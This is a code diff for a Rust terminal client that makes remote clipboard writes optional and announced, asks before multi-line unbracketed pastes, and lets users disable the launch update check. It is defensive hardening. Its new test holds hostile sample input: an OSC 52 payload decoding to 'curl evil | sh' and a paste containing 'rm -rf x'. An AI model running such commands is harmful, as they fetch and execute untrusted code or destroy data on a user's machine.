diff --git a/docs/overview.md b/docs/overview.md index ac5c7cc..ff138f1 100644 --- a/docs/overview.md +++ b/docs/overview.md @@ -217,7 +217,7 @@ Use Nexus Terminal when you need to: - Secret store settings. - Known hosts management. - Help topics and troubleshooting inside Settings. -- A background update check at launch, and a manual check in Settings → About. +- A background update check at launch (can be turned off in Settings → General), and a manual check in Settings → About. ## Website-ready summary diff --git a/docs/user-manual.md b/docs/user-manual.md index 618cf58..a8727e8 100644 --- a/docs/user-manual.md +++ b/docs/user-manual.md @@ -389,7 +389,7 @@ Connections, disconnections, profile changes, credential access, imports and exp Open settings with **Cmd+,** (macOS) or **Ctrl+,** (Windows/Linux), the sidebar footer, or **File → Settings**. Click **Save** to apply changes. -- **General**: app theme (Pro, Midnight or Light), default protocol, confirm on close, confirm on disconnect, status bar, sidebar width, and local shell (leave empty for the system default; **Browse…** to pick one). +- **General**: app theme (Pro, Midnight or Light), default protocol, confirm on close, confirm on disconnect, remote clipboard writes (OSC 52 and VNC; a toast shows what was copied), multi-line paste confirmation, the launch-time update check, status bar, sidebar width, and local shell (leave empty for the system default; **Browse…** to pick one). - **Terminal**: colour scheme, font family, font size, scrollback lines and cursor style. These are the defaults for new profiles; profiles can override them. - **Security**: keychain and vault status; initialise, unlock or lock the secret store. - **Known Hosts**: saved host keys with first-seen and last-seen times, and **Remove**. diff --git a/rust/app/src/app.rs b/rust/app/src/app.rs index e3664b4..2ea361c 100644 --- a/rust/app/src/app.rs +++ b/rust/app/src/app.rs @@ -70,6 +70,11 @@ pub enum Dialog { Broadcast { picks: Vec<(String, String, bool)>, }, + /// Multi-line paste into a terminal without bracketed paste. + ConfirmPaste { + session: String, + text: String, + }, /// Guided help for an auth or host-key failure. Guided { session: String, @@ -188,7 +193,7 @@ impl App { app.s.success(format!("Imported your Alchementary Link data from {}", from.display())); } // Background update check, once per launch. - if app.screenshot.is_none() { + if app.screenshot.is_none() && app.s.prefs.check_for_updates { let svc2 = svc.clone(); let ctx = cc.egui_ctx.clone(); std::thread::spawn(move || { @@ -504,7 +509,7 @@ impl App { } } Event::VncFrame { .. } => {} - Event::VncClipboard { text, .. } => self.s.ctx.copy_text(text), + Event::VncClipboard { text, .. } => self.remote_clipboard(&text), } } @@ -728,6 +733,18 @@ impl App { } } + /// A remote host (OSC 52 or VNC) wants to set the clipboard: allowed per preference, and always + /// announced so a silent swap can't set up a paste into another shell. + pub fn remote_clipboard(&mut self, text: &str) { + let first: String = text.lines().next().unwrap_or("").chars().take(60).collect(); + if self.s.prefs.allow_remote_clipboard { + self.s.ctx.copy_text(text.into()); + self.s.info(format!("Remote host set the clipboard: {first}")); + } else { + self.s.info("Blocked a remote clipboard write (Settings → General to allow)"); + } + } + pub fn toggle_broadcast(&mut self) { self.s.broadcast = !self.s.broadcast; if !self.s.broadcast { @@ -761,6 +778,9 @@ impl App { { let mut out = crate::terminal::TermResponse::default(); t.paste(&text, &mut out); + if let Some(text) = out.confirm_paste { + self.dialog = Some(Dialog::ConfirmPaste { session: id.into(), text }); + } let input = out.input; self.send_input(id, &input); } diff --git a/rust/app/src/chrome.rs b/rust/app/src/chrome.rs index a052f2c..8d217c5 100644 --- a/rust/app/src/chrome.rs +++ b/rust/app/src/chrome.rs @@ -920,6 +920,35 @@ pub fn dialogs(app: &mut App, ctx: &egui::Context) { }); }); } + Dialog::ConfirmPaste { session, text } => { + let lines = text.lines().count(); + let preview: String = text.lines().take(12).collect::>().join("\n"); + modal(ctx, "confirm-paste", 480.0, |ui| { + ui.label(RichText::new("Paste multiple lines?").font(theme::semibold(15.0))); + widgets::hint(ui, &format!("{lines} line(s) will run as commands as soon as they are pasted:")); + egui::ScrollArea::vertical().max_height(220.0).show(ui, |ui| { + ui.add(egui::Label::new(RichText::new(preview).monospace()).wrap()); + }); + if lines > 12 { + widgets::hint(ui, &format!("… and {} more", lines - 12)); + } + ui.add_space(6.0); + ui.horizontal(|ui| { + if widgets::primary(ui, icon::CHECK, "Paste").clicked() { + if let Some(View::Terminal(t)) = app.s.panes.get_mut(session.as_str()).map(|p| &mut p.view) { + let mut out = crate::terminal::TermResponse::default(); + t.paste_now(text, &mut out); + let id = session.clone(); + app.send_input(&id, &out.input); + } + keep = false; + } + if ui.button("Cancel").clicked() || ctx.input(|i| i.key_pressed(Key::Escape)) { + keep = false; + } + }); + }); + } Dialog::Guided { session, title, body, known_hosts } => { let label = app.s.pane(session).map(|p| p.info.tab_name.clone()).unwrap_or_else(|| "Session".into()); let profile_id = app.s.pane(session).map(|p| p.info.profile_id.clone()).unwrap_or_default(); diff --git a/rust/app/src/settings.rs b/rust/app/src/settings.rs index 3f05af6..535d62a 100644 --- a/rust/app/src/settings.rs +++ b/rust/app/src/settings.rs @@ -248,6 +248,15 @@ impl Settings { field(ui, "Confirm on disconnect"); ui.checkbox(&mut p.confirm_on_disconnect, "Ask before disconnecting sessions"); ui.end_row(); + field(ui, "Remote clipboard"); + ui.checkbox(&mut p.allow_remote_clipboard, "Let remote hosts set the clipboard (OSC 52, VNC)"); + ui.end_row(); + field(ui, "Multi-line paste"); + ui.checkbox(&mut p.confirm_multiline_paste, "Ask before pasting several lines into a terminal"); + ui.end_row(); + field(ui, "Updates"); + ui.checkbox(&mut p.check_for_updates, "Check for updates at launch"); + ui.end_row(); field(ui, "Status bar"); ui.checkbox(&mut p.show_status_bar, "Show status bar"); ui.end_row(); diff --git a/rust/app/src/sftp.rs b/rust/app/src/sftp.rs index 5afef0f..f4a4c4a 100644 --- a/rust/app/src/sftp.rs +++ b/rust/app/src/sftp.rs @@ -1122,7 +1122,8 @@ fn paste_files(s: &mut Shared, session: &str, paths: &[PathBuf]) { } if let Some(View::Terminal(term)) = s.panes.get_mut(session).map(|p| &mut p.view) { let mut out = crate::terminal::TermResponse::default(); - term.paste(&combined, &mut out); + // The drop was already confirmed in its own dialog. + term.paste_now(&combined, &mut out); s.request(Request::Write(session.into(), out.input)); } } diff --git a/rust/app/src/tabs.rs b/rust/app/src/tabs.rs index 6bfea48..3acd07f 100644 --- a/rust/app/src/tabs.rs +++ b/rust/app/src/tabs.rs @@ -328,6 +328,7 @@ pub fn pane(app: &mut App, ui: &mut Ui, id: &str, rect: Rect) { find_bar(app, ui, term); } let theme = crate::terminal_themes::get(&theme_id); + term.confirm_paste = app.s.prefs.confirm_multiline_paste; let r = term.ui(ui, theme, focused_tab); if pane.highlight_until > app.s.now { ui.painter().rect_stroke(rect.shrink(1.0), 0.0, Stroke::new(2.0, t.warning), egui::StrokeKind::Inside); @@ -379,6 +380,12 @@ fn terminal_response(app: &mut App, id: &str, r: TermResponse, local_exited: boo if r.bell { app.s.ctx.request_repaint(); } + if let Some(text) = r.clipboard { + app.remote_clipboard(&text); + } + if let Some(text) = r.confirm_paste { + app.dialog = Some(crate::app::Dialog::ConfirmPaste { session: id.into(), text }); + } if let Some(a) = r.menu { app.terminal_menu(id, a); } diff --git a/rust/app/src/terminal.rs b/rust/app/src/terminal.rs index e9fee00..7fc690b 100644 --- a/rust/app/src/terminal.rs +++ b/rust/app/src/terminal.rs @@ -52,6 +52,10 @@ pub struct TermResponse { pub title: Option, pub bell: bool, pub focused: bool, + /// Text the remote asked to put on the clipboard (OSC 52); the app applies its preference. + pub clipboard: Option, + /// A paste held back for confirmation (see [`TermView::paste`]). + pub confirm_paste: Option, } #[derive(Clone, Copy, PartialEq, Eq, Default)] @@ -100,6 +104,8 @@ pub struct TermView { generation: u64, pub find: Option, focus_requested: bool, + /// Hold back multi-line pastes that would run unbracketed (set from preferences each frame). + pub confirm_paste: bool, } const URL_RE: &str = r#"(?:https?|ftp)://[^\s<>"'`]+[^\s<>"'`.,;:!?)\]]"#; @@ -127,6 +133,7 @@ impl TermView { generation: 0, find: None, focus_requested: true, + confirm_paste: false, } } @@ -292,7 +299,7 @@ impl TermView { TermEvent::PtyWrite(s) => out.reply.extend_from_slice(s.as_bytes()), TermEvent::Title(t) => out.title = Some(t), TermEvent::Bell => out.bell = true, - TermEvent::ClipboardStore(_, s) => ui.ctx().copy_text(s), + TermEvent::ClipboardStore(_, s) => out.clipboard = Some(s), _ => {} } } @@ -398,7 +405,17 @@ impl TermView { } } + /// Pastes `text`, or hands it back in `out.confirm_paste` when `confirm_paste` is set and the + /// newlines would run each line immediately (no bracketed paste). pub fn paste(&mut self, text: &str, out: &mut TermResponse) { + if self.confirm_paste && !self.term.mode().contains(TermMode::BRACKETED_PASTE) && text.contains(['\n', '\r']) { + out.confirm_paste = Some(text.into()); + return; + } + self.paste_now(text, out); + } + + pub fn paste_now(&mut self, text: &str, out: &mut TermResponse) { let text = text.replace("\r\n", "\r").replace('\n', "\r"); if self.term.mode().contains(TermMode::BRACKETED_PASTE) { out.input.extend_from_slice(b"\x1b[200~"); @@ -855,6 +872,31 @@ mod tests { assert!(key_bytes(Key::A, none, TermMode::empty()).is_none()); } + #[test] + fn remote_clipboard_and_multiline_paste_go_to_the_app() { + let mut t = TermView::new(1000, 14.0, CursorStyle::Block); + t.feed(b"\x1b]52;c;Y3VybCBldmlsIHwgc2g=\x07"); + let ctx = egui::Context::default(); + let mut out = None; + let mut full = ctx.run_ui(Default::default(), |ui| out = Some(t.ui(ui, crate::terminal_themes::get("charcoal"), true))); + full.textures_delta.clear(); + assert_eq!(out.unwrap().clipboard.as_deref(), Some("curl evil | sh")); + assert!(!full.platform_output.commands.iter().any(|c| matches!(c, egui::OutputCommand::CopyText(_))), "the view must not touch the clipboard itself"); + + let mut out = TermResponse::default(); + t.confirm_paste = true; + t.paste("ls\nrm -rf x\n", &mut out); + assert!(out.input.is_empty()); + assert_eq!(out.confirm_paste.as_deref(), Some("ls\nrm -rf x\n")); + let mut out = TermResponse::default(); + t.paste("one line", &mut out); + assert_eq!(out.input, b"one line"); + t.feed(b"\x1b[?2004h"); + let mut out = TermResponse::default(); + t.paste("a\nb", &mut out); + assert!(out.confirm_paste.is_none() && out.input.starts_with(b"\x1b[200~"), "bracketed paste needs no prompt"); + } + #[test] fn feeds_text_and_finds_it() { let mut t = TermView::new(1000, 14.0, CursorStyle::Block); diff --git a/rust/core/src/models.rs b/rust/core/src/models.rs index 1892c4e..9b178a0 100644 --- a/rust/core/src/models.rs +++ b/rust/core/src/models.rs @@ -538,6 +538,12 @@ pub struct AppPreferences { pub default_cursor_style: String, pub use_native_paste: bool, pub local_shell: String, + /// Check the update manifest once at launch. + pub check_for_updates: bool, + /// Let remote hosts set the local clipboard (terminal OSC 52, VNC ServerCutText). + pub allow_remote_clipboard: bool, + /// Ask before pasting multi-line text into a terminal that isn't in bracketed-paste mode. + pub confirm_multiline_paste: bool, } impl Default for AppPreferences { @@ -556,6 +562,9 @@ impl Default for AppPreferences { default_cursor_style: DEFAULT_CURSOR_STYLE.into(), use_native_paste: false, local_shell: String::new(), + check_for_updates: true, + allow_remote_clipboard: true, + confirm_multiline_paste: true, } } } diff --git a/rust/core/src/updater.rs b/rust/core/src/updater.rs index f671c87..09f95cf 100644 --- a/rust/core/src/updater.rs +++ b/rust/core/src/updater.rs @@ -1,6 +1,6 @@ -//! Update checks against a self-hosted manifest (or, as a fallback, GitHub's latest release). -//! Opt-in and check-only: nothing is downloaded or installed. Calls block; run them off the UI -//! thread. +//! Update checks against a self-hosted manifest. Check-only: nothing is downloaded or installed. +//! The launch-time check honours `AppPreferences::check_for_updates`. Calls block; run them off +//! the UI thread. use crate::Result; use serde::{Deserialize, Serialize}; @@ -9,8 +9,6 @@ use std::time::Duration; /// Manifest URL template; expand with [`expand_update_url`]. pub const DEFAULT_UPDATE_URL: &str = "https://dixon.cx/downloads/nexus/manifest-{platform}-{arch}.json"; -const GITHUB_OWNER: &str = "nexus-terminal"; -const GITHUB_REPO: &str = "nexus-terminal"; const USER_AGENT: &str = "NexusTerminal-UpdateChecker"; const REQUEST_TIMEOUT: Duration = Duration::from_secs(10); const MAX_UPDATE_RESPONSE_BYTES: usize = 1 << 20; @@ -28,18 +26,6 @@ pub struct UpdateInfo { pub published_at: String, } -#[derive(Deserialize, Default)] -#[serde(default)] -struct Release { - tag_name: String, - name: String, - html_url: String, - published_at: String, - body: String, - prerelease: bool, - draft: bool, -} - #[derive(Deserialize, Default)] #[serde(default, rename_all = "camelCase")] struct Manifest { @@ -109,34 +95,6 @@ pub fn check_url(url: &str, current_version: &str) -> Result { Ok(UpdateInfo { available: is_newer(&latest, ¤t), current_version: current, latest_version: latest, ..Default::default() }) } -/// Checks the latest GitHub release of `nexus-terminal/nexus-terminal`. -pub fn check_github(current_version: &str) -> Result { - let current = normalise_version(current_version); - let url = format!("https://api.github.com/repos/{GITHUB_OWNER}/{GITHUB_REPO}/releases/latest"); - let (status, body) = fetch(&url, "application/vnd.github+json")?; - if status == 404 { - // No releases yet. - return Ok(UpdateInfo { latest_version: current.clone(), current_version: current, ..Default::default() }); - } - if status != 200 { - return Err(format!("updater: GitHub API returned {status}").into()); - } - let release: Release = serde_json::from_slice(&body).map_err(|e| format!("updater: failed to decode response: {e}"))?; - let latest = normalise_version(&release.tag_name); - if release.draft || release.prerelease { - return Ok(UpdateInfo { current_version: current, latest_version: latest, ..Default::default() }); - } - Ok(UpdateInfo { - available: is_newer(&latest, ¤t), - current_version: current, - latest_version: latest, - release_url: release.html_url, - release_name: release.name, - release_notes: truncate_notes(&release.body, 500), - published_at: release.published_at, - }) -} - fn normalise_version(v: &str) -> String { let v = v.trim(); v.strip_prefix('v').unwrap_or(v).to_string() @@ -184,17 +142,6 @@ fn leading_int(s: Option<&&str>) -> i64 { } /// Cuts at `max` bytes (backing off to a char boundary) and appends "…". -fn truncate_notes(body: &str, max: usize) -> String { - if body.len() <= max { - return body.into(); - } - let mut i = max; - while !body.is_char_boundary(i) { - i -= 1; - } - format!("{}…", &body[..i]) -} - #[cfg(test)] mod tests { use super::*; @@ -247,15 +194,6 @@ mod tests { } } - #[test] - fn truncates_notes() { - assert_eq!(truncate_notes("Short note", 100), "Short note"); - let got = truncate_notes(&"x".repeat(600), 500); - assert!(got.ends_with('…')); - assert_eq!(got.chars().count(), 501); - assert_eq!(truncate_notes("aé", 2), "a…"); - } - #[test] fn expands_url_template() { let u = expand_update_url(DEFAULT_UPDATE_URL);